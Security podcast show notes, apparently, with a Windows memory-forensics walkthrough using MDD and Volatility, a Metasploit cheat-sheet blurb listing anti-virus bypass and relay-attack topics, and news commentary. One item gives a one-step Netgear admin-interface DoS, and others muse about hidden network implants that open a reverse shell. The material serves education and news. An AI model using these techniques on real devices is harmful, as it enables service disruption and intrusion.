Memory Analysis: The Good vs. The Bad
By Marcus J. Carey
Memory Analysis is at the bleeding edge of Incident Response and Data Forensics. Memory Analysis allows a first responder image the memory, which can reveals artifacts left by an intruder. Like many good security practices, Memory Analysis can also be used by the bad guys.
Imaging Memory with MDD
ManTech Memory DD (MDD) is released under GPL by Mantech International. MDD is capable of copying the complete contents of memory on the following Microsoft Operating Systems: Windows 2000, Windows XP, Windows 2003 Server, Windows 2008 Server.
After downloading MDD from the Mantech site you need to run the program at the command line.
MDD Command Line Usage:
mdd -o OUTPUTFILENAME
C:\tools\mdd>mdd -o memory.dd -> mdd -> ManTech Physical Memory Dump Utility Copyright (C) 2008 ManTech Security & Mission Assurance -> This program comes with ABSOLUTELY NO WARRANTY; for details use option `-w' This is free software, and you are welcome to redistribute it under certain conditions; use option `-c' for details. -> Dumping 255.48 MB of physical memory to file 'memory.dd'. 65404 map operations succeeded (1.00) 0 map operations failed took 21 seconds to write MD5 is: a48986bb0558498684414e9399ca19fc
The output file is commonly referred to as an "image" . MDD function is limited to copying physical memory, so you will have to utilize another tool to analyze the memory image.
Analyzing Memory with Volatility Framework
Per Volatile Systems "The Volatility Framework is a completely open collection of tools, implemented in Python under the GNU General Public License, for the extraction of digital artifacts from volatile memory (RAM) samples."
Volatility does not work with Windows Vista, however since many enterprises are still running Windows XP it can come in very handy. In order to practice analyzing memory with Volatility, I recommend you download the memory samples from NIST's website. I used the file "xp-laptop-2005-07-04-1430.img", which is contained in the NIST samples, in the examples that follow.
Original reference to Windows Python:
Example reference to Unix/Linux Python:
If you need to change permissions in Unix/Linux type:
bash#chmod +x volatility
For options type:
To see date and time of memory image:
bash-3.2# ./volatility datetime -f /Volumes/OBI-TOO/Memory\ Images/xp-laptop-2005-07-04-1430.img Image local date and time: Mon Jul 04 14:30:32 2005

Tech Segment: Metasploit Cheat Sheet
Metasploit Cheat Sheet - Based on my recent teaching of the Metasploit course for SANS, this is a collection of tips and tricks for Metasploit. Many have been discussed on the podcast before, and some have not. I've included mini-tutorials and links to tech segments on:
- WPAD Mitm Attacks and smb_relay
- Incognito Token Passing
- Bypassing Anti-Virus with msfpayload and msfencode
- Meterpreter information gathering extensions (Darkoperator)
- db_autopwn usage and tips
I think I may replace the screenshots with actual text so people can copy paste, but then on the other hand its good practice to enter the commands manually.

Stories For Discussion
1) Bill proposes ISPs, Wi-Fi keep logs for police - [PSW] - Proposed federal law that would require ISPs, hotels, Wi-FI hot spots, and home users to keep user records for two years to aid police investigations.
2) WHY Netgear, WHY! - [Larry] - Wow, this is a trivial Admin interface DoS. How trivial? Add a "?" to the end of the admin url, and the interface becomes available until a reboot. The device still functions, but there is no way to manage it.
3) Shame on Cisco - [Larry] - Nice, want to manage the ACE Application Control Engine Device Manager remotely? It should be easy, as Cisco included default usernames and passwords for the application and the MySQL database backend. During install, there is no prompting to change them. Wow, being able to take control of a web app load balancer and Cisco 6500 and 7000 series switch has some interesting possibilities for attacks...
4) GPS anyone - [Larry] - I found this use of GPS interesting, given that consumer GPS nav units appear to have been forensically analyzed to determine recorded locations to prosecute folks in crimes. What about utilizing GPS for other information gathering. See next week...
5) SheevaPlug - [Larry] - This looks like a promising platform for a bunch of penetration type tasks. How about a $50 - $100 linux box self contained in a wall wart type form factor - ethernet, and USB ports available (looks like SD card as well. I can envision using a device like this for remote wireless assessment (hiding a rogue anyone?) vis a USB wireless dongle. How about a pivot point for dropping on a customer LAN?
7) MS fixing autorun disable - [Larry] - Thanks microsoft. We talked about this during some of our Conficker/Downadup conversations.
8) Web Application Incident Handling - [John] - One of the great tragedies of information security is that it has been reduced to a series of tools that we rely on as professionals. IDS/IPS, SIM, AV... Many of us have become far to dependent on a specific set of tools. The inverse is also true. If there is not a tool that "Does it for us" we tend to not look at that specific area of our network. Web applications are no exception. This is a great post by the folks at ts/sci. It will get you started in how to approach your web applications logs, and some cool tools to help.
9) Consumer Data Losses: 100 Times Worse According to New Report - [John] - A good read. Don't let all of the the statistics and math scare you off. The author is an academic and I don't hold that against him. What I want you to read and focus on is this; many of the reported breaches we deal with are from medium and large organizations. We hear very little about smaller organizations. Is that because they are more secure? I think not.
10) M$ is looking to kill autorun - [John] - We have discussed the various problems of autorun for a few years now. It looks like conflicker/downandup has pushed MS to the edge. I hate to say it but I am a bit sad. Yea it is great for security, but I have used this on quite a few pentests. I know that is selfish.... But.. Sniff...
11) Pwn2Own 2009 style - [John] - The pwn2own is up. Basically, you hack it, and you make some money. I like how the surface is being expanded this year. Rather then simply attacking OSes they are going after browsers (which was one of the attack vectors from last year) and.... Mobile devices!!! Sweet! I see this as one of the next big areas in IT security. Hopefully, this leads to a bit more exposure to the topic of mobile device security. Looks like CanSec West will be hopping this year.
12)Digital TV and Personal Information - [John] - Another great blog post from Sherri. Apparently the discount cards they are giving out to people have their names encoded on the Mag strip. But I am sure that the retailers need to protect that data.... Right?
13) Getting To Know Your Inner Command Line Kung Fu - [Paul] - We've teamed up with some incedibly smart people, Ed Skoudis & Hal Pomeranz, to create the ultimate resource for command line Kung Fu. The goal is to provide useful commands, be cross platform, and have each member comment and improve/modify each other's commands. Its the only site that I've seen attempting to cover commands on each platform. For example, Ed will post a Windows command, then Hal and I will discuss how to do it on UNIX/Linux. We are limiting ourselves to OS commands, with a few exceptions (But no perl or Windows Power Shell). Props to Byte_Bucket for helping to administer and moderate.
14) Adobe Vulnerability Was Known For Months - [Paul] - If you are one of the people knocking Sourcefire for posting information about this vulnerability, SHAME on you. When you can provide concrete evidence that the attackers do not have an exploit for a vulnerability, come talk to me. Did you interview all the underground attackers? The arguement just doesn't hold water. If a 0day exploit is in the wild, the community needs to know enough information to defend themselves. Hey, sometimes that leads to an exploit that is more prevelent, but at least we can defend ourselves. Keeping 0day's a secret only hurts us more, how many people were pwned before this became public? How do you even collect that information on an exploit thats months old? How many people formatted Grandma's computer and had her sign up for fraud alert in that time? Oh, and then Adobe falls flat on its face and doesn't release a patch so Sourcefire releases one for them. Just aweful!
15) Pwn2Own Mobile Phones Edition - [Paul] - This is right on, so many people are using mobile phones to browse the web, its time we brought attention to the vulnerabilities that exist.
16) Cool Command: Connect Mic to remote speaker - [Paul] - This is a neat little command that will take input from mic and output it to the speakers of a remote Linux computer. Imagine on a pen test, "I own your computer, to get it back you must dance for me, dance for me fool, dance!" Of course owning the webcam is a must in this situation as well.
17) Wyndham Hotels Hacked - [Paul] - I love this part "The breach was the result of an attacker using a "centralised network connection" at one of the franchises, to access and download the information from 41 Wyndham properties.". So this means that someone lived near one of these hotels and used the wireless to access the entire corporate network. Or, even better, implant a device inside the hotel (in the wall jack) and have it provide a reverse shell, and hack in that way. In either case there are certain organziations, like hotels, that cannot afford to have a chewy center. There is too much at risk, and its too easy for attackers to gain access to the internal network. They should *completely* separate the guest networks from corporate networks, however that doesn't stop someone from hacking into a switch, or pwning one of the management computers from some other mechanism (USB thumb drive, wireless).
18) CCCKC Hacking Event - [Paul] - If you are in KC, you should check this out.
